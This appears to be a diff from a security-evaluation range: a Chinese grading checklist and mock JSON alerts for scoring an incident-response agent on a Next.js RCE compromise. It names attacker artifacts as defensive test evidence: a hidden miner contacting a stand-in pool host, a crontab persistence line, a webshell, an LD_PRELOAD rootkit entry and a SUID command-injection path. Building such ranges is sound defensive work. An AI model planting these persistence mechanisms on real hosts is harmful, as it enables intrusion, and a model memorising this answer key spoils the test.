|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# range-nextjs-rce 检查清单
|
| 2 |
+
|
| 3 |
+
评估的评分标准(ground truth)。每个检查点拆分为检测分、方案分两个独立评分维度。
|
| 4 |
+
|
| 5 |
+
- **检测分**(满分 3 分):发现(1) + 证据(1) + 归因(1) — 评判检测 Agent 的分析报告 — LLM-as-a-Judge
|
| 6 |
+
- **方案分**(满分 2 分):正确性(1) + 完整性(1) — 评判检测 Agent 输出的修复方案 — LLM-as-a-Judge
|
| 7 |
+
- **仅检测项**:方案分标记 N/A,不参与对应汇总
|
| 8 |
+
|
| 9 |
+
## 维度 1:入侵实体识别与处置(5 项)
|
| 10 |
+
|
| 11 |
+
### CHK-01:挖矿进程检测 `ENT-P01`
|
| 12 |
+
- **证据**:进程 `/var/cache/.node-gc` 正在运行,存在挖矿日志 `/var/cache/.node-gc.log`
|
| 13 |
+
- **检测分**(3 分)
|
| 14 |
+
- 发现:识别到挖矿进程存在
|
| 15 |
+
- 证据:指出路径 `/var/cache/.node-gc`,识别伪装名称(模仿 Node.js GC 进程)
|
| 16 |
+
- 归因:将挖矿进程与攻击者入侵后的牟利行为关联
|
| 17 |
+
- **方案分**(2 分)
|
| 18 |
+
- 正确性:方案给出正确的进程终止命令(kill/pkill)
|
| 19 |
+
- 完整性:方案涵盖终止进程 + 删除二进制文件和日志 + 检查守护机制
|
| 20 |
+
|
| 21 |
+
### CHK-02:挖矿二进制文件清理 `ENT-F02`
|
| 22 |
+
- **证据**:文件 `/var/cache/.node-gc`(脚本)+ 日志 `/var/cache/.node-gc.log`
|
| 23 |
+
- **检测分**(3 分)
|
| 24 |
+
- 发现:识别到恶意文件
|
| 25 |
+
- 证据:指出文件路径和类型
|
| 26 |
+
- 归因:将其与挖矿行为关联
|
| 27 |
+
- **方案分**(2 分)
|
| 28 |
+
- 正确性:方案给出正确的删除命令
|
| 29 |
+
- 完整性:方案建议检查 /var/cache、/tmp 等隐藏目录是否有副本
|
| 30 |
+
|
| 31 |
+
### CHK-03:Webshell (debug.js) 检测 `ENT-F01`
|
| 32 |
+
- **证据**:文件 `/opt/webapp/.next/static/chunks/debug.js` — Node.js Webshell
|
| 33 |
+
- **检测分**(3 分)
|
| 34 |
+
- 发现:识别到 Webshell 文件
|
| 35 |
+
- 证据:指出路径和内容特征(HTTP server + execSync)
|
| 36 |
+
- 归因:将其放置位置(.next/static/chunks/)与 Next.js 应用结构关联
|
| 37 |
+
- **方案分**(2 分)
|
| 38 |
+
- 正确性:方案给出正确的文件删除命令
|
| 39 |
+
- 完整性:方案涵盖 Webshell 清除 + 检查 .next 目录下其他异常文件
|
| 40 |
+
|
| 41 |
+
### CHK-04:恶意 SO 文件检测与 LD_PRELOAD 持久化 `ENT-F03` `PER-H01`
|
| 42 |
+
- **证据**:`/etc/ld.so.preload` 中包含 `/usr/lib/x86_64-linux-gnu/.libnode_helper.so` — LD_PRELOAD rootkit SO
|
| 43 |
+
- **检测分**(3 分)
|
| 44 |
+
- 发现:识别到恶意 SO 文件, ld.so.preload 被篡改
|
| 45 |
+
- 证据:指出文件路径、隐藏特征(以 . 开头)、伪装名称,引用 `/etc/ld.so.preload` 内容和对应的 SO 文件
|
| 46 |
+
- 归因:将其与 LD_PRELOAD 持久化机制关联,识别为 LD_PRELOAD 劫持型 rootkit 持久化
|
| 47 |
+
- **方案分**(2 分)
|
| 48 |
+
- 正确性:方案给出删除 SO + 清理 ld.so.preload 的命令
|
| 49 |
+
- 完整性:方案涵盖 ldconfig 刷新 + 检查是否有其他 preload 项
|
| 50 |
+
|
| 51 |
+
### CHK-05:提权残留文件 `ENT-F04`
|
| 52 |
+
- **证据**:`/tmp/.escalation_log`、`/tmp/.privesc_proof` — SUID 提权证据
|
| 53 |
+
- **检测分**(3 分)
|
| 54 |
+
- 发现:发现提权操作残留
|
| 55 |
+
- 证据:指出文件内容记录了提权路径
|
| 56 |
+
- 归因:将其与 SUID backup-tool 提权关联
|
| 57 |
+
- **方案分**(2 分)
|
| 58 |
+
- 正确性:先取证后删除
|
| 59 |
+
- 完整性:建议检查 /tmp 下其他隐藏文件
|
| 60 |
+
|
| 61 |
+
## 维度 2:持久化与驻留机制(5 项)
|
| 62 |
+
|
| 63 |
+
### CHK-06:profile.d 后门 `PER-E01`
|
| 64 |
+
- **证据**:`/etc/profile.d/node-env.sh` 中隐藏了挖矿重启逻辑
|
| 65 |
+
- **检测分**(3 分)
|
| 66 |
+
- 发现:识别到 profile.d 中的恶意脚本
|
| 67 |
+
- 证据:引用脚本内容,指出其中隐藏的后台进程启动代码
|
| 68 |
+
- 归因:识别为登录触发型持久化
|
| 69 |
+
- **方案分**(2 分)
|
| 70 |
+
- 正确性:删除恶意脚本
|
| 71 |
+
- 完整性:审查 profile.d 目录中其他脚本
|
| 72 |
+
|
| 73 |
+
### CHK-07:systemd 服务持久化 `PER-S02`
|
| 74 |
+
- **证据**:`/etc/systemd/system/node-gc-helper.service` — 伪装为 GC 辅助
|
| 75 |
+
- **检测分**(3 分)
|
| 76 |
+
- 发现:识别到异常 systemd 服务
|
| 77 |
+
- 证据:引用 service 文件内容,指出其执行挖矿程序
|
| 78 |
+
- 归因:将服务名伪装(node-gc-helper)与恶意行为关联
|
| 79 |
+
- **方案分**(2 分)
|
| 80 |
+
- 正确性:stop + disable + 删除 service 文件 + daemon-reload
|
| 81 |
+
- 完整性:方案涵盖所有 systemd 相关清理步骤
|
| 82 |
+
|
| 83 |
+
### CHK-08:crontab 持久化 `PER-S01`
|
| 84 |
+
- **证据**:root crontab 中包含 `*/5 * * * * /var/cache/.node-gc`
|
| 85 |
+
- **检测分**(3 分)
|
| 86 |
+
- 发现:识别到异常 crontab 条目
|
| 87 |
+
- 证据:引用完整 crontab 行
|
| 88 |
+
- 归因:将其与挖矿程序持久化关联
|
| 89 |
+
- **方案分**(2 分)
|
| 90 |
+
- 正确性:方案给出 crontab -r 或编辑移除恶意行
|
| 91 |
+
- 完整性:检查所有用户的 crontab + /etc/cron.d
|
| 92 |
+
|
| 93 |
+
### CHK-09:SSH 密钥注入 `PER-A01`
|
| 94 |
+
- **证据**:`/root/.ssh/authorized_keys` 中包含 `deploy@vercel-ci` 密钥
|
| 95 |
+
- **检测分**(3 分)
|
| 96 |
+
- 发现:识别到异常 SSH 密钥
|
| 97 |
+
- 证据:引用密钥内容和注释字段
|
| 98 |
+
- 归因:识别伪装的注释(deploy@vercel-ci 不是合法部署密钥)
|
| 99 |
+
- **方案分**(2 分)
|
| 100 |
+
- 正确性:移��恶意密钥
|
| 101 |
+
- 完整性:审查所有用户的 authorized_keys
|
| 102 |
+
|
| 103 |
+
### CHK-10:Webshell 进程持久化 `PER-W01`
|
| 104 |
+
- **证据**:debug.js Webshell 监听 127.0.0.1:9229(伪装 Node.js debugger 端口)
|
| 105 |
+
- **检测分**(3 分)
|
| 106 |
+
- 发现:识别到 Webshell 进程
|
| 107 |
+
- 证据:指出监听端口、进程启动方式
|
| 108 |
+
- 归因:与 Next.js 攻击链中的 Phase 1 关联
|
| 109 |
+
- **方案分**(2 分)
|
| 110 |
+
- 正确性:终止进程 + 删除文件
|
| 111 |
+
- 完整性:检查是否有其他异常端口监听
|
| 112 |
+
|
| 113 |
+
## 维度 3:基线风险(10 项)
|
| 114 |
+
|
| 115 |
+
### CHK-11:SSH PermitRootLogin `BAS-01`
|
| 116 |
+
- **证据**:`/etc/ssh/sshd_config` 中配置了 `PermitRootLogin yes`
|
| 117 |
+
- **检测分**(3 分)/ **方案分**(2 分)
|
| 118 |
+
- 与 range-ssh-miner CHK-05 同类
|
| 119 |
+
|
| 120 |
+
### CHK-12:SSH PasswordAuthentication `BAS-01`
|
| 121 |
+
- **证据**:`/etc/ssh/sshd_config` 中配置了 `PasswordAuthentication yes`
|
| 122 |
+
- **检测分**(3 分)/ **方案分**(2 分)
|
| 123 |
+
|
| 124 |
+
### CHK-13:SSH MaxAuthTries `BAS-01`
|
| 125 |
+
- **证据**:`MaxAuthTries 100`(应收紧到 6 或更低)
|
| 126 |
+
- **检测分**(3 分)/ **方案分**(2 分)
|
| 127 |
+
|
| 128 |
+
### CHK-14:root 弱密码 `BAS-01`
|
| 129 |
+
- **证据**:存在弱密码风险/密码登录风险
|
| 130 |
+
- **检测分**(3 分)/ **方案分**(2 分)
|
| 131 |
+
|
| 132 |
+
### CHK-15:node 用户危险 sudoers `BAS-03`
|
| 133 |
+
- **证据**:`/etc/sudoers.d/node-ops` 允许 node 用户 NOPASSWD 执行 backup-tool
|
| 134 |
+
- **检测分**(3 分)
|
| 135 |
+
- 发现:报告中提及危险 sudoers 配置
|
| 136 |
+
- 证据:引用 sudoers.d 内容
|
| 137 |
+
- 归因:将其与 SUID 提权路径关联
|
| 138 |
+
- **方案分**(2 分)
|
| 139 |
+
- 正确性:移除或严格限制 sudoers 条目
|
| 140 |
+
- 完整性:审查所有 sudoers.d/ 文件
|
| 141 |
+
|
| 142 |
+
### CHK-16:SUID backup-tool `BAS-03`
|
| 143 |
+
- **证据**:`/usr/local/bin/backup-tool` 有 SUID root 位 + --exec 命令注入
|
| 144 |
+
- **检测分**(3 分)
|
| 145 |
+
- 发现:识别到危险的 SUID 文件
|
| 146 |
+
- 证据:指出 SUID 位 + --exec 参数的命令注入漏洞
|
| 147 |
+
- 归因:将其与提权路径关联
|
| 148 |
+
- **方案分**(2 分)
|
| 149 |
+
- 正确性:移除 SUID 位(chmod u-s)或移除工具
|
| 150 |
+
- 完整性:全盘 SUID 审计建议
|
| 151 |
+
|
| 152 |
+
### CHK-17:.env 文件权限 `BAS-05`
|
| 153 |
+
- **证据**:`/opt/webapp/.env` 权限过于宽松(非 node 用户可读取)
|
| 154 |
+
- **检测分**(3 分)
|
| 155 |
+
- 发现:报告中提及 .env 文件敏感信息暴露
|
| 156 |
+
- 证据:引用 .env 内容(DB 密码、JWT Secret、SMTP 密码)
|
| 157 |
+
- 归因:将凭证暴露与攻击者信息收集阶段关联
|
| 158 |
+
- **方案分**(2 分)
|
| 159 |
+
- 正确性:chmod 600 + chown node:node + 更换所有泄露凭证
|
| 160 |
+
- 完整性:方案涵盖所有泄露凭证的轮换
|
| 161 |
+
|
| 162 |
+
### CHK-18:PostgreSQL 远程访问 `BAS-02`
|
| 163 |
+
- **证据**:`pg_hba.conf` 允许 `0.0.0.0/0` + `listen_addresses = '*'`
|
| 164 |
+
- **检测分**(3 分)
|
| 165 |
+
- 发现:报告中提及 PostgreSQL 远程访问风险
|
| 166 |
+
- 证据:引用 pg_hba.conf 和 postgresql.conf 配置
|
| 167 |
+
- 归因:将数据库暴露与数据泄露关联
|
| 168 |
+
- **方案分**(2 分)
|
| 169 |
+
- 正确性:限制 pg_hba.conf 只允许 localhost + 修改 listen_addresses
|
| 170 |
+
- 完整性:包含密码更换 + 重启验证
|
| 171 |
+
|
| 172 |
+
### CHK-19:PostgreSQL 弱密码 `BAS-02`
|
| 173 |
+
- **证据**:webapp 用户密码 `webapp_db_2024!` 在 .env 中明文暴露
|
| 174 |
+
- **检测分**(3 分)/ **方案分**(2 分)
|
| 175 |
+
|
| 176 |
+
### CHK-20:JWT/SMTP 凭证泄露 `BAS-05`
|
| 177 |
+
- **证据**:.env 中的 JWT_SECRET 和 SMTP_PASSWORD 明文暴露
|
| 178 |
+
- **检测分**(3 分)
|
| 179 |
+
- 发现:识别到多种凭证泄露
|
| 180 |
+
- 证据:列出每种泄露的凭证
|
| 181 |
+
- 归因:与攻击者信息收集阶段关联
|
| 182 |
+
- **方案分**(2 分)
|
| 183 |
+
- 正确性:轮换所有泄露凭证
|
| 184 |
+
- 完整性:JWT Secret 更换后需使所有 session 失效
|
| 185 |
+
|
| 186 |
+
## 维度 4:漏洞修复(4 项)
|
| 187 |
+
|
| 188 |
+
### CHK-21:Next.js 版本漏洞 (CVE-2025-66478) `VUL-04`
|
| 189 |
+
- **证据**:Next.js 14.x(`/opt/webapp/node_modules/next/package.json` 中版本号)存在 RSC RCE
|
| 190 |
+
- **检测分**(3 分)
|
| 191 |
+
- 发现:识别到 Next.js 版本存在已知 CVE
|
| 192 |
+
- 证据:从 package.json 中精确定位版本号
|
| 193 |
+
- 归因:正确关联 CVE-2025-66478 或 RSC 反序列化漏洞描述
|
| 194 |
+
- **方案分**(2 分)
|
| 195 |
+
- 正确性:升级 Next.js 到安全版本
|
| 196 |
+
- 完整性:包含 npm audit + 重新构建 + 验证步骤
|
| 197 |
+
|
| 198 |
+
### CHK-22:React 版本风险 `VUL-04`
|
| 199 |
+
- **证据**:React 19.0.0(与 RSC RCE 相关的 react-server-dom-webpack)
|
| 200 |
+
- **检测分**(3 分)
|
| 201 |
+
- 发现:识别到 React 版本与 RSC 漏洞的关联
|
| 202 |
+
- 证据:从 package.json 或 node_modules 中定位版本
|
| 203 |
+
- 归因:关联 CVE-2025-55182 或 React RSC 反序列化链
|
| 204 |
+
- **方案分**(2 分)
|
| 205 |
+
- 正确性:升级 React + react-dom + react-server-dom-webpack
|
| 206 |
+
- 完整性:包含依赖兼容性检查
|
| 207 |
+
|
| 208 |
+
### CHK-23:SUID 工具代码漏洞 `VUL-03`
|
| 209 |
+
- **证据**:backup-tool 源码中 `system(exec_cmd)` 未做输入校验
|
| 210 |
+
- **检测分**(3 分)
|
| 211 |
+
- 发现:识别到 SUID 工具存在命令注入漏洞
|
| 212 |
+
- 证据:描述 --exec 参数传入 system() 的利用路径
|
| 213 |
+
- 归因:将其与 SUID 提权路径关��
|
| 214 |
+
- **方案分**(2 分)
|
| 215 |
+
- 正确性:移除 SUID 位 + 修复代码或移除 --exec 功能
|
| 216 |
+
- 完整性:建议 SUID 工具安全审计流程
|
| 217 |
+
|
| 218 |
+
### CHK-24:Next.js 修复验证 `VUL-04`
|
| 219 |
+
- **证据**:修复后 RSC exploit payload 应返回 4xx 而非 500+digest
|
| 220 |
+
- **检测分** N/A(仅执行项)
|
| 221 |
+
- **方案分**(2 分)
|
| 222 |
+
- 正确性:方案包含修复验证步骤
|
| 223 |
+
- 完整性:发送 exploit payload 验证不再返回执行结果
|
| 224 |
+
|
| 225 |
+
## 维度 5:根因溯源 + 闭环(10 项)
|
| 226 |
+
|
| 227 |
+
### CHK-25:入口定位准确 `Q-01` *仅检测项*
|
| 228 |
+
- **证据**:入口为 Next.js RSC RCE (CVE-2025-66478)
|
| 229 |
+
- **检测分**(3 分)
|
| 230 |
+
- 发现:报告明确指出入口类型为 Web 应用 RCE
|
| 231 |
+
- 证据:给出 CVE 编号或等效漏洞描述
|
| 232 |
+
- 归因:关联到 Next.js 版本 + RSC 反序列化链
|
| 233 |
+
- **方案分**:N/A
|
| 234 |
+
|
| 235 |
+
### CHK-26:攻击链还原 `Q-02` *仅检测项*
|
| 236 |
+
- **检测分**(3 分)
|
| 237 |
+
- 发现:报告还原了完整攻击链(RCE → Webshell → SUID 提权 → 持久化)
|
| 238 |
+
- 证据:每个阶段有具体证据支撑
|
| 239 |
+
- 归因:各阶段间的因果关系正确
|
| 240 |
+
- **方案分**:N/A
|
| 241 |
+
|
| 242 |
+
### CHK-27:攻击者信息提取 `Q-03` *仅检测项*
|
| 243 |
+
- **检测分**(3 分)
|
| 244 |
+
- 发现:提取攻击者 IP、工具特征
|
| 245 |
+
- 证据:从日志/网络连接中定位攻击来源
|
| 246 |
+
- 归因:与攻击链中各阶段的源 IP 关联
|
| 247 |
+
- **方案分**:N/A
|
| 248 |
+
|
| 249 |
+
### CHK-28:SUID 提权路径还原 `Q-02` *仅检测项*
|
| 250 |
+
- **检测分**(3 分)
|
| 251 |
+
- 发现:识别 node 用户 → backup-tool --exec → root 的提权路径
|
| 252 |
+
- 证据:引用 sudoers 配置 + SUID 位 + 命令注入
|
| 253 |
+
- 归因:完整还原提权链
|
| 254 |
+
- **方案分**:N/A
|
| 255 |
+
|
| 256 |
+
### CHK-29:Node.js 进程链溯源 `Q-06` *仅检测项*
|
| 257 |
+
- **检测分**(3 分)
|
| 258 |
+
- 发现:从 Node.js 进程 → Next.js 应用 → RSC 漏洞 的溯源链
|
| 259 |
+
- 证据:描述 node 进程的 parent/child 关系
|
| 260 |
+
- 归因:跨 JS 运行时和 Web 框架的追踪能力
|
| 261 |
+
- **方案分**:N/A
|
| 262 |
+
|
| 263 |
+
### CHK-30:攻击者 IP 封禁 `ENT-N01`
|
| 264 |
+
- **检测分** N/A(仅执行项)
|
| 265 |
+
- **方案分**(2 分)
|
| 266 |
+
- 正确性:方案包含 iptables/安全组规则封禁攻击者 IP
|
| 267 |
+
- 完整性:双向封禁(入站+出站)
|
| 268 |
+
|
| 269 |
+
### CHK-31:矿池出站封禁 `ENT-N02`
|
| 270 |
+
- **检测分** N/A(仅执行项)
|
| 271 |
+
- **方案分**(2 分)
|
| 272 |
+
- 正确性:封禁 pool.evil-example.invalid + 端口 3333
|
| 273 |
+
- 完整性:包含 DNS 和 IP 层面的封禁
|
| 274 |
+
|
| 275 |
+
### CHK-32:诚实度(不编造 CVE) `Q-04` *仅检测项*
|
| 276 |
+
- **检测分**(3 分)
|
| 277 |
+
- 发现:报告是否正确引用 CVE-2025-66478 而非编造 CVE 编号
|
| 278 |
+
- 证据:CVE 信息与实际漏洞匹配
|
| 279 |
+
- 归因:0 分 = 编造了不存在的 CVE
|
| 280 |
+
- **方案分**:N/A
|
| 281 |
+
|
| 282 |
+
### CHK-33:排查全面性 `Q-05` *仅检测项*
|
| 283 |
+
- **检测分**(3 分)
|
| 284 |
+
- 发现:是否覆盖了所有 5 种持久化机制
|
| 285 |
+
- 证据:每种持久化有具体路径
|
| 286 |
+
- 归因:遗漏 LD_PRELOAD 扣分最重(高级威胁)
|
| 287 |
+
- **方案分**:N/A
|
| 288 |
+
|
| 289 |
+
### CHK-34:修复验证完备性 `Q-07` *仅检测项*
|
| 290 |
+
- **检测分**(3 分)
|
| 291 |
+
- 发现:修复方案是否包含验证步骤
|
| 292 |
+
- 证据:每个修复项有对应的验证命令
|
| 293 |
+
- 归因:验证命令能确认修复效果
|
| 294 |
+
- **方案分**:N/A
|
| 295 |
+
|
| 296 |
+
## 维度 6:补充项(3 项)
|
| 297 |
+
|
| 298 |
+
### CHK-35:Next.js package.json 版本精确定位 `VUL-04`
|
| 299 |
+
- **证据**:`/opt/webapp/package.json` 和 `/opt/webapp/node_modules/next/package.json`
|
| 300 |
+
- **检测分**(3 分)
|
| 301 |
+
- 发现:从 package.json 中精确定位 Next.js 版本号
|
| 302 |
+
- 证据:引用具体文件路径和版本号
|
| 303 |
+
- 归因:说明该版本受影响的原因
|
| 304 |
+
- **方案分**(2 分)
|
| 305 |
+
|
| 306 |
+
### CHK-36:.next 目录异常文件扫描 `ENT-F01`
|
| 307 |
+
- **证据**:.next/static/chunks/ 下的 debug.js 不属于正常构建产物
|
| 308 |
+
- **检测分**(3 分)
|
| 309 |
+
- 发现:对 .next 目录进行异常文件扫描
|
| 310 |
+
- 证据:识别出非构建产物的文件
|
| 311 |
+
- 归因:与 Webshell 部署阶段关联
|
| 312 |
+
- **方案分**(2 分)
|
| 313 |
+
|
| 314 |
+
### CHK-37:业务影响评估 `Q-08` *仅检测项*
|
| 315 |
+
- **检测分**(3 分)
|
| 316 |
+
- 发现:报告评估了修复操作对 Next.js 应用的影响
|
| 317 |
+
- 证据:提及 npm 升级可能的兼容性问题、服务重启窗口
|
| 318 |
+
- 归因:修复方案平衡了安全性和可用性
|
| 319 |
+
- **方案分**:N/A
|
ranges/nextjs-rce/disk.tar.gz
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:cd72379963b89b1e85300d6e8b348f3684d19d5be3ab2dd1f8c563a993137ca7
|
| 3 |
+
size 2306913081
|
ranges/nextjs-rce/disk.tar.gz.sha256
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:8348e45b54ebb3ad4b0e418e078c6e2bd7906b0c0b56222ccd8bba46ba57d58f
|
| 3 |
+
size 78
|
ranges/nextjs-rce/sas-mock/alerts.json
ADDED
|
@@ -0,0 +1,117 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"RequestId": "mock-nextjs-rce-alerts",
|
| 3 |
+
"PageInfo": {
|
| 4 |
+
"PageSize": 20,
|
| 5 |
+
"TotalCount": 6,
|
| 6 |
+
"CurrentPage": 1
|
| 7 |
+
},
|
| 8 |
+
"SuspEvents": [
|
| 9 |
+
{
|
| 10 |
+
"AlarmEventName": "Mining Activity",
|
| 11 |
+
"AlarmEventNameOriginal": "挖矿活动",
|
| 12 |
+
"AlarmEventType": "Mining",
|
| 13 |
+
"AlarmUniqueInfo": "mock-alert-001",
|
| 14 |
+
"Desc": "检测到疑似挖矿进程 /var/cache/.node-gc,存在与已知矿池地址 pool.evil-example.invalid 的通信行为",
|
| 15 |
+
"Details": [
|
| 16 |
+
{"Name": "process_path", "Value": "/var/cache/.node-gc"},
|
| 17 |
+
{"Name": "process_cmdline", "Value": "/bin/bash /var/cache/.node-gc"},
|
| 18 |
+
{"Name": "connect_info", "Value": "pool.evil-example.invalid:3333"}
|
| 19 |
+
],
|
| 20 |
+
"EventLevel": "serious",
|
| 21 |
+
"InstanceId": "i-mock-victim-001",
|
| 22 |
+
"InstanceName": "webapp-prod-01",
|
| 23 |
+
"InternetIp": "__VICTIM_IP__",
|
| 24 |
+
"OccurrenceTime": "2026-04-20T14:30:00Z",
|
| 25 |
+
"Stages": "Impact"
|
| 26 |
+
},
|
| 27 |
+
{
|
| 28 |
+
"AlarmEventName": "Suspicious Process - Node.js Child Process",
|
| 29 |
+
"AlarmEventNameOriginal": "Node.js 异常子进程",
|
| 30 |
+
"AlarmEventType": "Suspicious Process",
|
| 31 |
+
"AlarmUniqueInfo": "mock-alert-002",
|
| 32 |
+
"Desc": "Node.js 进程派生了可疑子进程,执行了系统命令 id,parent_procpath=/usr/bin/node",
|
| 33 |
+
"Details": [
|
| 34 |
+
{"Name": "parent_procpath", "Value": "/usr/bin/node"},
|
| 35 |
+
{"Name": "process_cmdline", "Value": "sh -c id"},
|
| 36 |
+
{"Name": "parent_cmdline", "Value": "node /opt/webapp/node_modules/.bin/next start -p 3000"}
|
| 37 |
+
],
|
| 38 |
+
"EventLevel": "suspicious",
|
| 39 |
+
"InstanceId": "i-mock-victim-001",
|
| 40 |
+
"InstanceName": "webapp-prod-01",
|
| 41 |
+
"InternetIp": "__VICTIM_IP__",
|
| 42 |
+
"OccurrenceTime": "2026-04-20T14:10:00Z",
|
| 43 |
+
"Stages": "Execution"
|
| 44 |
+
},
|
| 45 |
+
{
|
| 46 |
+
"AlarmEventName": "Webshell File Detected",
|
| 47 |
+
"AlarmEventNameOriginal": "Webshell文件检测",
|
| 48 |
+
"AlarmEventType": "Webshell",
|
| 49 |
+
"AlarmUniqueInfo": "mock-alert-003",
|
| 50 |
+
"Desc": "在 Web 应用目录中检测到可疑脚本文件,包含命令执行功能(execSync)",
|
| 51 |
+
"Details": [
|
| 52 |
+
{"Name": "filepath", "Value": "/opt/webapp/.next/static/chunks/debug.js"},
|
| 53 |
+
{"Name": "file_type", "Value": "JavaScript"},
|
| 54 |
+
{"Name": "risk_pattern", "Value": "execSync, http.createServer"}
|
| 55 |
+
],
|
| 56 |
+
"EventLevel": "serious",
|
| 57 |
+
"InstanceId": "i-mock-victim-001",
|
| 58 |
+
"InstanceName": "webapp-prod-01",
|
| 59 |
+
"InternetIp": "__VICTIM_IP__",
|
| 60 |
+
"OccurrenceTime": "2026-04-20T14:15:00Z",
|
| 61 |
+
"Stages": "Persistence"
|
| 62 |
+
},
|
| 63 |
+
{
|
| 64 |
+
"AlarmEventName": "Suspicious Crontab Modification",
|
| 65 |
+
"AlarmEventNameOriginal": "可疑定时任务变更",
|
| 66 |
+
"AlarmEventType": "Persistence",
|
| 67 |
+
"AlarmUniqueInfo": "mock-alert-004",
|
| 68 |
+
"Desc": "检测到 root 用户 crontab 被添加了异常条目,指向隐藏路径的可执行文件",
|
| 69 |
+
"Details": [
|
| 70 |
+
{"Name": "crontab_content", "Value": "*/5 * * * * /var/cache/.node-gc > /dev/null 2>&1"},
|
| 71 |
+
{"Name": "user", "Value": "root"}
|
| 72 |
+
],
|
| 73 |
+
"EventLevel": "suspicious",
|
| 74 |
+
"InstanceId": "i-mock-victim-001",
|
| 75 |
+
"InstanceName": "webapp-prod-01",
|
| 76 |
+
"InternetIp": "__VICTIM_IP__",
|
| 77 |
+
"OccurrenceTime": "2026-04-20T14:35:00Z",
|
| 78 |
+
"Stages": "Persistence"
|
| 79 |
+
},
|
| 80 |
+
{
|
| 81 |
+
"AlarmEventName": "Abnormal Systemd Service",
|
| 82 |
+
"AlarmEventNameOriginal": "异常 Systemd 服务",
|
| 83 |
+
"AlarmEventType": "Persistence",
|
| 84 |
+
"AlarmUniqueInfo": "mock-alert-005",
|
| 85 |
+
"Desc": "检测到新增 systemd 服务 node-gc-helper.service,指向隐藏路径可执行文件",
|
| 86 |
+
"Details": [
|
| 87 |
+
{"Name": "service_name", "Value": "node-gc-helper.service"},
|
| 88 |
+
{"Name": "exec_start", "Value": "/var/cache/.node-gc"},
|
| 89 |
+
{"Name": "unit_file", "Value": "/etc/systemd/system/node-gc-helper.service"}
|
| 90 |
+
],
|
| 91 |
+
"EventLevel": "suspicious",
|
| 92 |
+
"InstanceId": "i-mock-victim-001",
|
| 93 |
+
"InstanceName": "webapp-prod-01",
|
| 94 |
+
"InternetIp": "__VICTIM_IP__",
|
| 95 |
+
"OccurrenceTime": "2026-04-20T14:36:00Z",
|
| 96 |
+
"Stages": "Persistence"
|
| 97 |
+
},
|
| 98 |
+
{
|
| 99 |
+
"AlarmEventName": "Suspicious Outbound Connection",
|
| 100 |
+
"AlarmEventNameOriginal": "可疑外连",
|
| 101 |
+
"AlarmEventType": "Network",
|
| 102 |
+
"AlarmUniqueInfo": "mock-alert-006",
|
| 103 |
+
"Desc": "检测到主机与疑似矿池地址建立出站 TCP 连接",
|
| 104 |
+
"Details": [
|
| 105 |
+
{"Name": "dst_ip", "Value": "pool.evil-example.invalid"},
|
| 106 |
+
{"Name": "dst_port", "Value": "3333"},
|
| 107 |
+
{"Name": "process_path", "Value": "/var/cache/.node-gc"}
|
| 108 |
+
],
|
| 109 |
+
"EventLevel": "serious",
|
| 110 |
+
"InstanceId": "i-mock-victim-001",
|
| 111 |
+
"InstanceName": "webapp-prod-01",
|
| 112 |
+
"InternetIp": "__VICTIM_IP__",
|
| 113 |
+
"OccurrenceTime": "2026-04-20T14:31:00Z",
|
| 114 |
+
"Stages": "Command and Control"
|
| 115 |
+
}
|
| 116 |
+
]
|
| 117 |
+
}
|
ranges/nextjs-rce/sas-mock/baselines.json
ADDED
|
@@ -0,0 +1,75 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
